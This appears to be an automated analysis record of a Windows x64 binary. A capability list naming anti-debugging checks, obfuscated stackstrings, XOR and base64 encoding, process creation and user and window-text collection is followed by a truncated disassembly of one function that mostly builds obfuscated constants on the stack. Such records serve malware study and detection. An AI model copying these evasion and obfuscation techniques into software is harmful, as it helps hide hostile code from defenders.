Function at 0x140001000
Capabilities:
Authenticate hmac
Check for software breakpoints
Contain obfuscated stackstrings
Create process on windows
Encode data using base64
Encode data using xor
Get file system object information
Get graphical window text
Get session user name
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x16fa8
call fcn.1400e5100
sub rsp, rax
mov byte [rsp + 0x50], 0xf0
mov eax, 0x170
mov word [rsp + 0x5b0], ax
movabs rax, 0xeba04d88184bfa46
mov qword [rsp + 0x32a0], rax
mov dword [rsp + 0x1ac0], 0xad3068f
mov byte [rsp + 0x51], 0xee
mov byte [rsp + 0x52], 0x82
mov byte [rsp + 0x53], reloc.SHELL32.dll_ILFindChild
mov eax, 0x6419
mov word [rsp + 0x5b4], ax
movabs rax, 0x3eb98f53945c9dcc
mov qword [rsp + 0x32a8], rax
mov eax, 0x4a7
mov word [rsp + 0x5b8], ax
mov byte [rsp + 0x54], 0x70
movabs rax, 0x4f850bd216e00fa7
mov qword [rsp + 0x32b0], rax
movabs rax, 0x1f402ae564194f71
mov qword [rsp + 0x32b8], rax
movabs rax, 0x2e8fb53a1ee2725b
mov qword [rsp + 0x32c0], rax
mov byte [rsp + 0x55], 0x45
mov dword [rsp + 0x1ac4], 0x48781f62
mov dword [rsp + 0x1ac8], 0x672a642c
movabs rax, 0x757be00d4db1b364
mov qword [rsp + 0x32c8], rax
mov byte [rsp + 0x56], 0x1e
mov dword [rsp + 0x1acc], 0x467d8e11
mov byte [rsp + 0x57], 0x83
movabs rax, 0x256ee937d1c47e3c
mov qword [rsp + 0x32d0], rax
movabs rax, 0x19adbf5e6dcfb0ff
mov qword [rsp + 0x32d8], rax
movabs rax, 0x2ba2cdf723b36cf2
mov qword [rsp + 0x32e0], rax
mov byte [rsp + 0x58], reloc.SHELL32.dll_ILClone
movabs rax, 0x585c0876263e273d
mov qword [rsp + 0x32e8], rax
movabs rax, 0xa37084bbcab1c44d
mov qword [rsp + 0x32f0], rax
mov dword [rsp + 0x1ad0], 0x15c5252c
movabs rax, 0x53b5f51e14ff2760
mov qword [rsp + 0x32f8], rax
movabs rax, 0x1a33b9d7487ac8bc
mov qword [rsp + 0x3300], rax
mov byte [rsp + 0x59], 1
mov dword [rsp + 0x1ad4], 0xcec0f53
mov eax, 0x39d7
mov word [rsp + 0x5bc], ax
mov dword [rsp + 0x1ad8], 0x13d8850e
mov eax, 0x5949
mov word [rsp + 0x5c0], ax
mov dword [rsp + 0x1adc], 0x3de9e717
mov dword [rsp + 0x1ae0], 0x7e3727d0
mov dword [rsp + 0x1ae4], 0x977233b9
movabs rax, 0x640adb3426306d77
mov qword [rsp + 0x3308], rax
movabs rax, 0x2cccba107c0ee7b2
mov qword [rsp + 0x3310], rax
mov dword [rsp + 0x1ae8], 0x6883343f
mov eax, 0x1b6
mov word [rsp + 0x5c4], ax
mov eax, 0xc6f
mov word [rsp + 0x5c8], ax
movabs rax, 0x324c96791f8e4c5b
mov qword [rsp + 0x3318], rax
mov eax, 0x58c
mov word [rsp + 0x5cc], ax
mov byte [rsp + 0x5a], 0x28
mov byte [rsp + 0x5b], 0x3b
mov byte [rsp + 0x5c], 0x57
movabs rax, 0x9bd6e75883d49b6a
mov qword [rsp + 0x3320], rax
movabs rax, 0x7b1ba640bd80ba17
mov qword [rsp + 0x3328], rax
mov eax, 0x5a9
mov word [rsp + 0x5d0], ax
movabs rax, 0x41bdcb3e42ab57c
mov qword [rsp + 0x3330], rax
mov dword [rsp + 0x1aec], 0x219aafb1
mov eax, 0xbee
mov word [rsp + 0x5d4], ax
mov eax, 0x3d9
mov word [rsp + 0x5d8], ax
mov dword [rsp + 0x1af0], 0xf6e0781e
mov byte [rsp + 0x5d], 0xc2
movabs rax, 0x33c9fcfc9ed2a154
mov qword [rsp + 0x3338], rax
movabs rax, 0x9f0378f3f32efa43
mov qword [rsp + 0x3340], rax
mov dword [rsp + 0x1af4], 0x59703236
mov eax, 0x2575
mov word [rsp + 0x5dc], ax
movabs rax, 0x16d18a7d7edbb6c0
mov qword [rsp + 0x3348], rax
movabs rax, 0x281e6676526f883d
mov qword [rsp + 0x3350], rax
mov byte [rsp + 0x5e], 0xde
mov eax, 0x347a
mov word [rsp + 0x5e0], ax
mov byte [rsp + 0x5f], 0xcc
mov dword [rsp + 0x1af8], 0x472f9787
movabs rax, 0x493eb8234635f664
mov qword [rsp + 0x3358], rax
mov dword [rsp + 0x1afc], 0x5c805b6e
mov byte [rsp + 0x60], reloc.SHELL32.dll_ILRemoveLastID
mov eax, 0xae7
mov word [rsp + 0x5e4], ax
mov dword [rsp + 0x1b00], 0x2eaa99d1
mov dword [rsp + 0x1b04], 0xb3cdd26b
mov dword [rsp + 0x1b08], 0x66485e1d
mov byte [rsp + 0x61], 0x38
mov dword [rsp + 0x1b0c], 0x338f7d05
movabs rax, 0x4a2611f5cad768b0
mov qword [rsp + 0x3360], rax
mov dword [rsp + 0x1b10], 0x31ef7ae4
movabs rax, 0x1b2e9d31f00f9cae
mov qword [rsp + 0x3368], rax
mov byte [rsp + 0x62], 0x6d
movabs rax, 0xa8f86eb9c674f769
mov qword [rsp + 0x3370], rax
mov eax, 0xfb1
mov word [rsp + 0x5e8], ax
mov eax, 0x2c32
mov word [rsp + 0x5ec], ax
mov eax, 0x319
mov word [rsp + 0x5f0], ax
mov eax, 0x2f9b
mov word [rsp + 0x5f4], ax
mov eax, 0x4722
mov word [rsp + 0x5f8], ax
mov dword [rsp + 0x1b14], 0xe213444
mov dword [rsp + 0x1b18], 0x4a47ca39
movabs rax, 0x494871839c1a0900
mov qword [rsp + 0x3378], rax
mov eax, 0x519
mov word [rsp + 0x5fc], ax
mov eax, 0x917
mov word [rsp + 0x600], ax
mov eax, 0x490
mov word [rsp + 0x604], ax
movabs rax, 0x4682cd20370937d9
mov qword [rsp + 0x3380], rax
mov byte [rsp + 0x63], 0x88
mov eax, 0x5080
mov word [rsp + 0x608], ax
mov eax, 0xd82
mov word [rsp + 0x60c], ax
mov byte [rsp + 0x64], reloc.SHELL32.dll_ILSaveToStream
movabs rax, 0x5f3518fef3650316
mov qword [rsp + 0x3388], rax
mov byte [rsp + 0x65], 2
movabs rax, 0x7bfa7cf50ca77768
mov qword [rsp + 0x3390], rax
mov eax, 0xd39
mov word [rsp + 0x610], ax
mov eax, 0x4db4
mov word [rsp + 0x614], ax
mov eax, 0x3040
mov word [rsp + 0x618], ax
mov dword [rsp + 0x1b1c], 0x36e9fbef
mov dword [rsp + 0x1b20], 0xc408ca95
mov dword [rsp + 0x1b24], 0x2ab2525d
mov eax, 0xd75
mov word [rsp + 0x61c], ax
movabs rax, 0xea71c29ecb253353
mov qword [rsp + 0x3398], rax
mov eax, 0x7aa6
mov word [rsp + 0x620], ax
movabs rax, 0x7102fd7b024c7df7
mov qword [rsp + 0x33a0], rax
movabs rax, 0x1b2ec1ead0b7958c
mov qword [rsp + 0x33a8], rax
mov eax, 0x6ae0
mov word [rsp + 0x624], ax
mov eax, 0x1e2
mov word [rsp + 0x628], ax
mov dword [rsp + 0x1b28], 0x3bea73f1
movabs rax, 0x14e564e270cd14c8
mov qword [rsp + 0x33b0], rax
mov byte [rsp + 0x66], 0xf9
movabs rax, 0x7c92fd3a89b56962
mov qword [rsp + 0x33b8], rax
mov dword [rsp + 0x1b2c], 0x69a64014
mov dword [rsp + 0x1b30], 0x4ffd39db
mov dword [rsp + 0x1b34], 0x2f2d03e4
mov dword [rsp + 0x1b38], 0xf3ba6682
movabs rax, 0x1dac49e110db5f4d
mov qword [rsp + 0x33c0], rax
mov dword [rsp + 0x1b3c], 0x1be438c
movabs rax, 0x4dc660a19029d29f
mov qword [rsp + 0x33c8], rax
movabs rax, 0xaa079bd025e112ba
mov qword [rsp + 0x33d0], rax
mov dword [rsp + 0x1b40], 0x5fa8f8b1
movabs rax, 0x96ab390840556ce1
mov qword [rsp + 0x33d8], rax
movabs rax, 0x6c00ad91d26fd3fa
mov qword [rsp + 0x33e0], rax
mov dword [rsp + 0x1b44], 0x7b64714d
mov eax, 0x42
mov word [rsp + 0x62c], ax
mov dword [rsp + 0x1b48], 0x41c331e2
mov byte [rsp + 0x67], 0xa6
movabs rax, 0x74984d1a71fc184b
mov qword [rsp + 0x33e8], rax
mov byte [rsp + 0x68], 0x32
mov byte [rsp + 0x69], pe_nt_image_headers64
mov dword [rsp + 0x1b4c], 0x3a3d45e3
mov eax, 0x101d
mov word [rsp + 0x630], ax
movabs rax, 0x2b36c24dbb0c4708
mov qword [rsp + 0x33f0], rax
mov dword [rsp + 0x1b50], 0xffc7fc69
mov eax, 0x3d6
mov word [rsp + 0x634], ax
mov eax, 0x4ce
mov word [rsp + 0x638], ax
movabs rax, 0xe4e46e54d694dd1f
mov qword [rsp + 0x33f8], rax
mov dword [rsp + 0x1b54], 0x590f4558
mov byte [rsp + 0x6a], 0x1e
movabs rax, 0x42b02f582c8ebbc4
mov qword [rsp + 0x3400], rax
movabs rax, 0x40671ce22888ab9c
mov qword [rsp + 0x3408], rax
mov eax, 0xb24
mov word [rsp + 0x63c], ax
movabs rax, 0x2fa0faca00c49c80
mov qword [rsp + 0x3410], rax
mov eax, 0x17a8
mov word [rsp + 0x640], ax
movabs rax, 0x63c22a10e411801f
mov qword [rsp + 0x3418], rax
mov eax, 0x686c
mov word [rsp + 0x644], ax
movabs rax, 0x3c3eab15a275dcab
mov qword [rsp + 0x3420], rax
mov eax, 0x2849
mov word [rsp + 0x648], ax
movabs rax, 0x29a1e27a689e5ed5
mov qword [rsp + 0x3428], rax
mov dword [rsp + 0x1b58], 0x144654d7
movabs rax, 0x1296255f1519e30
mov qword [rsp + 0x3430], rax
mov dword [rsp + 0x1b5c], 0x4aac2f7c
mov dword [rsp + 0x1b60], 0xedd67072
mov dword [rsp + 0x1b64], 0x7b7d88cd
mov eax, 0x22d
mov word [rsp + 0x64c], ax
mov dword [rsp + 0x1b68], 0xdcf4257e
mov byte [rsp + 0x6b], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x1b6c], 0xc6b98ce9
mov byte [rsp + 0x6c], 0xaa
mov dword [rsp + 0x1b70], 0xbca01d84
mov eax, 0x108e
mov word [rsp + 0x650], ax
mov eax, 0x858
mov word [rsp + 0x654], ax
mov dword [rsp + 0x1b74], 0x3450ccf2
movabs rax, 0xe399cc798ec60122
mov qword [rsp + 0x3438], rax
mov dword [rsp + 0x1b78], 0x46dcb87b
mov byte [rsp + 0x6d], 0x39
mov byte [rsp + 0x6e], 0x24
movabs rax, 0x5f7c094165fe690c
mov qword [rsp + 0x3440], rax
mov byte [rsp + 0x6f], 0x69
mov eax, 0x400a
mov word [rsp + 0x658], ax
mov eax, 0x455
mov word [rsp + 0x65c], ax
mov eax, 0x4880
mov word [rsp + 0x660], ax
mov byte [rsp + 0x70], 0xa9
mov byte [rsp + 0x71], 0x60
mov dword [rsp + 0x1b7c], 0xb666efa1
mov byte [rsp + 0x72], 0x46
mov byte [rsp + 0x73], 0xf6
mov dword [rsp + 0x1b80], 0x7df205d3
movabs rax, 0x5d32df23f89aea46
mov qword [rsp + 0x3448], rax
mov byte [rsp + 0x74], 0x33
mov eax, 0x5b5
mov word [rsp + 0x664], ax
movabs rax, 0xa5ec100e0fa39cc9
mov qword [rsp + 0x3450], rax
mov byte [rsp + 0x75], 0xbf
mov eax, 0x12b7
mov word [rsp + 0x668], ax
mov eax, 0x60d
mov word [rsp + 0x66c], ax
mov dword [rsp + 0x1b84], 0x72d812a1
mov dword [rsp + 0x1b88], 0x69b4e3de
movabs rax, 0x7c4baf52c8b91af4
mov qword [rsp + 0x3458], rax
mov dword [rsp + 0x1b8c], 0xdf91d980
mov dword [rsp + 0x1b90], 0x56fca0ec
mov eax, 0x7278
mov word [rsp + 0x670], ax
movabs rax, 0x4d83b4b0ebc799af
mov qword [rsp + 0x3460], rax
mov dword [rsp + 0x1b94], 0x667cc0ba
mov byte [rsp + 0x76], 0xc0
mov dword [rsp + 0x1b98], 0xb8780b41
mov dword [rsp + 0x1b9c], 0x5633b6bd
mov eax, 0x9cf
mov word [rsp + 0x674], ax
mov eax, 0x7bab
mov word [rsp + 0x678], ax
mov eax, 0xbec
mov word [rsp + 0x67c], ax
mov eax, 0x6fd7
mov word [rsp + 0x680], ax
mov byte [rsp + 0x77], 0x79
mov byte [rsp + 0x78], PathYetAnotherMakeUniqueName
movabs rax, 0x896f82164b3f9522
mov qword [rsp + 0x3468], rax
mov byte [rsp + 0x79], 0xdd
movabs rax, 0x4fdab9bb4c66d723
mov qword [rsp + 0x3470], rax
mov dword [rsp + 0x1ba0], 0x113ed501
mov dword [rsp + 0x1ba4], 0x1bba2e9b
mov eax, 0xc57
mov word [rsp + 0x684], ax
mov dword [rsp + 0x1ba8], 0xb854088f
mov byte [rsp + 0x7a], 0
movabs rax, 0x2200b5ba19c7354
mov qword [rsp + 0x3478], rax
mov eax, 0x661a
mov word [rsp + 0x688], ax
mov dword [rsp + 0x1bac], 0x30df2d6e
mov byte [rsp + 0x7b], 0x63
mov byte [rsp + 0x7c], 0x21
movabs rax, 0x7d75250bdabb0075
mov qword [rsp + 0x3480], rax
mov eax, 0x789a
mov word [rsp + 0x68c], ax
mov byte [rsp + 0x7d], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0x129cedb9e2c3cb10
mov qword [rsp + 0x3488], rax
mov byte [rsp + 0x7e], SHSetInstanceExplorer
movabs rax, 0x4995b68e56304f27
mov qword [rsp + 0x3490], rax
movabs rax, 0x313889057c72664a
mov qword [rsp + 0x3498], rax
mov byte [rsp + 0x7f], 0x76
mov byte [rsp + 0x80], 0x3f
mov eax, 0xd16
mov word [rsp + 0x690], ax
movabs rax, 0x9034ebade87e1bd0
mov qword [rsp + 0x34a0], rax
mov byte [rsp + 0x81], 0xa2
movabs rax, 0xf2b65f85963e354
mov qword [rsp + 0x34a8], rax
movabs rax, 0x36604917ea3107db
mov qword [rsp + 0x34b0], rax
mov dword [rsp + 0x1bb0], 0x6ef2b0e
mov eax, 0x5cb2
mov word [rsp + 0x694], ax
mov eax, 0x7336
mov word [rsp + 0x698], ax
mov eax, 0x5c51
mov word [rsp + 0x69c], ax
movabs rax, 0xd5cd80472dd1bbc9
mov qword [rsp + 0x34b8], rax
mov dword [rsp + 0x1bb4], 0x73a74102
mov byte [rsp + 0x82], 0x26
mov eax, 0x6b6c
mov word [rsp + 0x6a0], ax
mov byte [rsp + 0x83], 0xa2
mov byte [rsp + 0x84], 0x1e
mov dword [rsp + 0x1bb8], 0xd8f3435c
mov byte [rsp + 0x85], 0x56
movabs rax, 0xc642e2dd1c89d043
mov qword [rsp + 0x34c0], rax
mov dword [rsp + 0x1bbc], 0xe6b91f01
mov eax, 0x52ba
mov word [rsp + 0x6a4], ax
mov dword [rsp + 0x1bc0], 0x93d13ce1
mov eax, 0xfee
mov word [rsp + 0x6a8], ax
movabs rax, 0xfbcdbcf4f8e3609b
mov qword [rsp + 0x34c8], rax
mov byte [rsp + 0x86], 0x71
movabs rax, 0x4f3cfdb0d33539a3
mov qword [rsp + 0x34d0], rax
mov eax, 0x2c85
mov word [rsp + 0x6ac], ax
mov byte [rsp + 0x87], 0x5f
mov eax, 0x7c3e
mov word [rsp + 0x6b0], ax
mov byte [rsp + 0x88], 0x55
mov dword [rsp + 0x1bc4], 0x187da59a
mov dword [rsp + 0x1bc8], 0x1b85c6a6
movabs rax, 0x79b7df7cfb473e18
mov qword [rsp + 0x34d8], rax
mov dword [rsp + 0x1bcc], 0x9c981385
mov eax, 0x51b6
mov word [rsp + 0x6b4], ax
movabs rax, 0x830c12a38b2f509d
mov qword [rsp + 0x34e0], rax
mov byte [rsp + 0x89], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x891
mov word [rsp + 0x6b8], ax
mov eax, 0x6a5f
mov word [rsp + 0x6bc], ax
movabs rax, 0x6595db75d1b06d60
mov qword [rsp + 0x34e8], rax
movabs rax, 0x281cb391dceaddf0
mov qword [rsp + 0x34f0], rax
mov dword [rsp + 0x1bd0], 0x754074a5
mov dword [rsp + 0x1bd4], 0x42493fbe
mov eax, 0x7a7
mov word [rsp + 0x6c0], ax
movabs rax, 0xb7234aacf6dd8aa
mov qword [rsp + 0x34f8], rax
mov byte [rsp + 0x8a], 0x6f
mov byte [rsp + 0x8b], 0x87
mov dword [rsp + 0x1bd8], 0x7fd00423
mov byte [rsp + 0x8c], 0xcf
movabs rax, 0x2bc5f77a6b7a8ad
mov qword [rsp + 0x3500], rax
mov byte [rsp + 0x8d], 1
mov eax, 0x5d
mov word [rsp + 0x6c4], ax
movabs rax, 0x6b09fd79603eb098
mov qword [rsp + 0x3508], rax
mov dword [rsp + 0x1bdc], 0x6b6177d0
movabs rax, 0xd9c3674aea93306
mov qword [rsp + 0x3510], rax
mov dword [rsp + 0x1be0], 0x804638cb
mov byte [rsp + 0x8e], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x42245676df117f78
mov qword [rsp + 0x3518], rax
movabs rax, 0x83ad3af0bfade3f3
mov qword [rsp + 0x3520], rax
mov byte [rsp + 0x8f], PathYetAnotherMakeUniqueName
movabs rax, 0x7af318edc9af68c1
mov qword [rsp + 0x3528], rax
mov eax, 0x8e1
mov word [rsp + 0x6c8], ax
mov dword [rsp + 0x1be4], 0x84eb80c0
mov dword [rsp + 0x1be8], 0x95d466cf
mov dword [rsp + 0x1bec], 0x6e9dce0b
mov byte [rsp + 0x90], 0xa8
movabs rax, 0x7a5194ceabf642c7
mov qword [rsp + 0x3530], rax
mov dword [rsp + 0x1bf0], 0x26a8c33
mov byte [rsp + 0x91], 7
mov byte [rsp + 0x92], 0xe2
mov eax, 0x7ad1
mov word [rsp + 0x6cc], ax
mov dword [rsp + 0x1bf4], 0xbfe0576e
mov dword [rsp + 0x1bf8], 0x7eaceea9
movabs rax, 0x6fb9c9709b9530f
mov qword [rsp + 0x3538], rax
mov eax, 0x7520
mov word [rsp + 0x6d0], ax
mov byte [rsp + 0x93], 0x54
mov dword [rsp + 0x1bfc], 0xce976b
mov dword [rsp + 0x1c00], 0xd0f02104
mov dword [rsp + 0x1c04], 0xea46e6dd
mov eax, 0x730f
mov word [rsp + 0x6d4], ax
mov byte [rsp + 0x94], SHSetInstanceExplorer
movabs rax, 0x77fdcb05de21ffba
mov qword [rsp + 0x3540], rax
mov eax, 0x6f88
mov word [rsp + 0x6d8], ax
mov eax, 0xcc7
mov word [rsp + 0x6dc], ax
mov eax, 0x5570
mov word [rsp + 0x6e0], ax
movabs rax, 0x72eb982aaf92d7bd
mov qword [rsp + 0x3548], rax
mov dword [rsp + 0x1c08], 0xed5ab5e9
mov dword [rsp + 0x1c0c], 0xf61c0124
mov eax, 0x5cdd
mov word [rsp + 0x6e4], ax
mov dword [rsp + 0x1c10], 0x642d3d7a
mov byte [rsp + 0x95], 0x62
movabs rax, 0x128173edc7f1b500
mov qword [rsp + 0x3550], rax
movabs rax, 0x191c5409ccecd8a4
mov qword [rsp + 0x3558], rax
mov dword [rsp + 0x1c14], 0xaf8e514
mov dword [rsp + 0x1c18], 0x12b0bccb
mov eax, 0x7cf5
mov word [rsp + 0x6e8], ax
mov byte [rsp + 0x96], ILCreateFromPathW
mov eax, 0x18d1
mov word [rsp + 0x6ec], ax
movabs rax, 0x9146b0bed1e7bf04
mov qword [rsp + 0x3560], rax
movabs rax, 0x495971bf0a00ebbf
mov qword [rsp + 0x3568], rax
mov dword [rsp + 0x1c1c], 0x5e697cac
movabs rax, 0x7fb23c029e4ca9dc
mov qword [rsp + 0x3570], rax
mov dword [rsp + 0x1c20], 0x7ee1d04a
movabs rax, 0x937f7608c93f1442
mov qword [rsp + 0x3578], rax
movabs rax, 0x27318424335a6a27
mov qword [rsp + 0x3580], rax
movabs rax, 0x688eec0f10726efc
mov qword [rsp + 0x3588], rax
mov eax, 0x94d
mov word [rsp + 0x6f0], ax
mov eax, 0x1b9
mov word [rsp + 0x6f4], ax
mov dword [rsp + 0x1c24], 0x77240dfe
mov byte [rsp + 0x97], 0x7d
movabs rax, 0x8b2d3fcf646dc808
mov qword [rsp + 0x3590], rax
mov byte [rsp + 0x98], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x99], 3
movabs rax, 0xd78e9f8b6c6543e8
mov qword [rsp + 0x3598], rax
mov eax, 0x75f
mov word [rsp + 0x6f8], ax
mov eax, 0x9b8
mov word [rsp + 0x6fc], ax
mov dword [rsp + 0x1c28], 0x732db870
mov eax, 0xb7d
mov word [rsp + 0x700], ax
mov byte [rsp + 0x9a], 0x77
mov byte [rsp + 0x9b], 9
movabs rax, 0x23e4ef719ab290c4
mov qword [rsp + 0x35a0], rax
mov byte [rsp + 0x9c], 0xd9
movabs rax, 0x208698cff8b236b8
mov qword [rsp + 0x35a8], rax
movabs rax, 0xfd532b95193bb187
mov qword [rsp + 0x35b0], rax
mov byte [rsp + 0x9d], 0x56
mov byte [rsp + 0x9e], PathMakeUniqueName
mov dword [rsp + 0x1c2c], 0x74b110ec
movabs rax, 0x1f730bdb9eb1addd
mov qword [rsp + 0x35b8], rax
mov eax, 0x5358
mov word [rsp + 0x704], ax
mov eax, 0x425
mov word [rsp + 0x708], ax
movabs rax, 0x9def713642f04149
mov qword [rsp + 0x35c0], rax
mov eax, 0x4c
mov word [rsp + 0x70c], ax
movabs rax, 0x7fdf660be5cb59e4
mov qword [rsp + 0x35c8], rax
mov byte [rsp + 0x9f], PathYetAnotherMakeUniqueName
movabs rax, 0x840d9db39aa90c18
mov qword [rsp + 0x35d0], rax
movabs rax, 0x2608d6d2d53c15ef
mov qword [rsp + 0x35d8], rax
mov byte [rsp + 0xa0], 0x6e
mov eax, 0x342b
mov word [rsp + 0x710], ax
mov byte [rsp + 0xa1], 0x72
mov dword [rsp + 0x1c30], 0x574a3875
mov eax, 0xa78
mov word [rsp + 0x714], ax
mov byte [rsp + 0xa2], 0x22
movabs rax, 0x60ca836744ab3b3d
mov qword [rsp + 0x35e0], rax
mov byte [rsp + 0xa3], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x1c34], 0x29ad9696
mov eax, 0x968
mov word [rsp + 0x718], ax
mov dword [rsp + 0x1c38], 0xe92383b3
mov byte [rsp + 0xa4], reloc.SHELL32.dll_PathMakeUniqueName
mov eax, 0x253c
mov word [rsp + 0x71c], ax
movabs rax, 0x2310a4b3a2b0c08b
mov qword [rsp + 0x35e8], rax
movabs rax, 0x54e9a287c1f75806
mov qword [rsp + 0x35f0], rax
mov byte [rsp + 0xa5], 0x52
mov byte [rsp + 0xa6], 0x6a
movabs rax, 0x62ab8c6e23ce8abd
mov qword [rsp + 0x35f8], rax
mov byte [rsp + 0xa7], 0x8b
mov byte [rsp + 0xa8], PathMakeUniqueName
mov dword [rsp + 0x1c3c], 0x982fcf89
mov byte [rsp + 0xa9], 0x20
movabs rax, 0x20e64cc5967853d3
mov qword [rsp + 0x3600], rax
movabs rax, 0xf23b240d354bb072
mov qword [rsp + 0x3608], rax
mov eax, 0x16c1
mov word [rsp + 0x720], ax
movabs rax, 0x14ca8c65e80d38f0
mov qword [rsp + 0x3610], rax
mov dword [rsp + 0x1c40], 0x7875f0a1
mov dword [rsp + 0x1c44], 0x740a82e5
mov eax, 0x18bc
mov word [rsp + 0x724], ax
movabs rax, 0x99cbec154c4e486d
mov qword [rsp + 0x3618], rax
movabs rax, 0x74f9c1e67ba5e8a9
mov qword [rsp + 0x3620], rax
movabs rax, 0x6a49e043a83329d
mov qword [rsp + 0x3628], rax
movabs rax, 0x73ffcfff95a8415
mov qword [rsp + 0x3630], rax
movabs rax, 0xd64872b636aad947
mov qword [rsp + 0x3638], rax
mov dword [rsp + 0x1c48], 0x205e9e5d
movabs rax, 0x5cc15eec7aea3ba5
mov qword [rsp + 0x3640], rax
mov dword [rsp + 0x1c4c], 0xc6cc186c
movabs rax, 0x21da35c9b1b5e30d
mov qword [rsp + 0x3648], rax
mov eax, 0x5f6
mov word [rsp + 0x728], ax
mov byte [rsp + 0xaa], 0x1e
mov eax, 0x6c15
mov word [rsp + 0x72c], ax
mov byte [rsp + 0xab], reloc.SHELL32.dll_ILIsEqual
mov byte [rsp + 0xac], ILSaveToStream
mov eax, 0xe20
mov word [rsp + 0x730], ax
movabs rax, 0x9fa2159588d376ef
mov qword [rsp + 0x3650], rax
movabs rax, 0x5d35a955c4fedcce
mov qword [rsp + 0x3658], rax
mov dword [rsp + 0x1c50], 0xdbf24ea1
mov eax, 0xd5
mov word [rsp + 0x734], ax
mov dword [rsp + 0x1c54], 0xbd85366e
mov byte [rsp + 0xad], SHSetInstanceExplorer
mov dword [rsp + 0x1c58], 0x6ef295f4
mov byte [rsp + 0xae], 0xc3
mov byte [rsp + 0xaf], PathYetAnotherMakeUniqueName
movabs rax, 0x68b5aa0ef9521f7e
mov qword [rsp + 0x3660], rax
mov dword [rsp + 0x1c5c], 0xed9b7ee2
mov dword [rsp + 0x1c60], 0x8a28bf16
mov byte [rsp + 0xb0], ILCreateFromPathW
mov dword [rsp + 0x1c64], 0x41f7b81
mov eax, 0x6a9
mov word [rsp + 0x738], ax
movabs rax, 0x389c9142c786324f
mov qword [rsp + 0x3668], rax
mov byte [rsp + 0xb1], 0x26
movabs rax, 0x1a06b67d9d14bdc4
mov qword [rsp + 0x3670], rax
movabs rax, 0x2502b474cda9394
mov qword [rsp + 0x3678], rax
mov eax, 0x399e
mov word [rsp + 0x73c], ax
mov dword [rsp + 0x1c68], 0xcbb065b1
mov byte [rsp + 0xb2], 0x60
movabs rax, 0x5c60a94a6b8ae1cc
mov qword [rsp + 0x3680], rax
mov byte [rsp + 0xb3], 0x36
movabs rax, 0x499399c5354e2429
mov qword [rsp + 0x3688], rax
movabs rax, 0xac52b828aa9cdb46
mov qword [rsp + 0x3690], rax
mov eax, 0x17a7
mov word [rsp + 0x740], ax
mov dword [rsp + 0x1c6c], 0xe4e2f56
mov dword [rsp + 0x1c70], 0x5dc90dd7
movabs rax, 0x309628cac8b89fcb
mov qword [rsp + 0x3698], rax
mov byte [rsp + 0xb4], 0xe9
movabs rax, 0xe72fe16b588a9b4c
mov qword [rsp + 0x36a0], rax
mov byte [rsp + 0xb5], 0x67
mov dword [rsp + 0x1c74], 0xa3fcd45a
mov eax, 0x7ae2
mov word [rsp + 0x744], ax
mov dword [rsp + 0x1c78], 0xcd50f138
mov dword [rsp + 0x1c7c], 0x7be74c05
mov byte [rsp + 0xb6], 0xd2
mov eax, 0x5c7b
mov word [rsp + 0x748], ax
mov eax, 0x49b3
mov word [rsp + 0x74c], ax
movabs rax, 0x165db7f85e1d7a05
mov qword [rsp + 0x36a8], rax
mov dword [rsp + 0x1c80], 0x22f13d49
mov eax, 0x2ac1
mov word [rsp + 0x750], ax
mov eax, 0x3644
mov word [rsp + 0x754], ax
mov byte [rsp + 0xb7], 0x87
mov byte [rsp + 0xb8], ILIsEqual
mov eax, 0x60d4
mov word [rsp + 0x758], ax
mov dword [rsp + 0x1c84], 0x7dea5280
movabs rax, 0x595411594f8f304c
mov qword [rsp + 0x36b0], rax
mov byte [rsp + 0xb9], 0x33
mov eax, 0x32c8
mov word [rsp + 0x75c], ax
movabs rax, 0x3d342befc1195588
mov qword [rsp + 0x36b8], rax
mov eax, 0x7c3
mov word [rsp + 0x760], ax
mov dword [rsp + 0x1c88], 0x636601ef
mov dword [rsp + 0x1c8c], 0x16ac4b91
mov dword [rsp + 0x1c90], 0x66bb08af
mov eax, 0x1892
mov word [rsp + 0x764], ax
mov dword [rsp + 0x1c94], 0x58035475
mov eax, 0x7f87
mov word [rsp + 0x768], ax
mov dword [rsp + 0x1c98], 0x429067f8
mov eax, 0x9c2
mov word [rsp + 0x76c], ax
mov byte [rsp + 0xba], ILCreateFromPathW
movabs rax, 0x6f66a541b5ff5b5
mov qword [rsp + 0x36c0], rax
mov byte [rsp + 0xbb], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xbc], 0x4e
mov dword [rsp + 0x1c9c], 0x9f31c345
mov dword [rsp + 0x1ca0], 0xf5cb08f3
mov byte [rsp + 0xbd], 0x34
movabs rax, 0x74829506d492da8e
mov qword [rsp + 0x36c8], rax
mov byte [rsp + 0xbe], 0x5a
movabs rax, 0x581c7fc23999686a
mov qword [rsp + 0x36d0], rax
mov byte [rsp + 0xbf], 0x22
mov dword [rsp + 0x1ca4], 0x849a12c2
movabs rax, 0x6f2544ab7daef932
mov qword [rsp + 0x36d8], rax
mov byte [rsp + 0xc0], ILIsEqual
mov byte [rsp + 0xc1], 0x40
mov dword [rsp + 0x1ca8], 0x10b4ebd7
mov dword [rsp + 0x1cac], 0xe590e844
movabs rax, 0x6f774fff6f0b1f4e
mov qword [rsp + 0x36e0], rax
movabs rax, 0x40b444d7ee5e414d
mov qword [rsp + 0x36e8], rax
mov eax, 0x4c87
mov word [rsp + 0x770], ax
mov dword [rsp + 0x1cb0], 0x69bb29fe
movabs rax, 0x53301dad6539336b
mov qword [rsp + 0x36f0], rax
movabs rax, 0x1bdfc6ee685fe746
mov qword [rsp + 0x36f8], rax
mov eax, 0xa45
mov word [rsp + 0x774], ax
mov eax, 0x758
mov word [rsp + 0x778], ax
movabs rax, 0x686765952e26f7f
mov qword [rsp + 0x3700], rax
mov dword [rsp + 0x1cb4], 0x989f0c3b
mov dword [rsp + 0x1cb8], 0xd5b8f512
mov dword [rsp + 0x1cbc], 0x6e8b8a6b
mov eax, 0xed1
mov word [rsp + 0x77c], ax
mov byte [rsp + 0xc2], 0x32
mov dword [rsp + 0x1cc0], 0x37deaedf
movabs rax, 0x42e2aa4c6add78a3
mov qword [rsp + 0x3708], rax
mov eax, 0x2fe
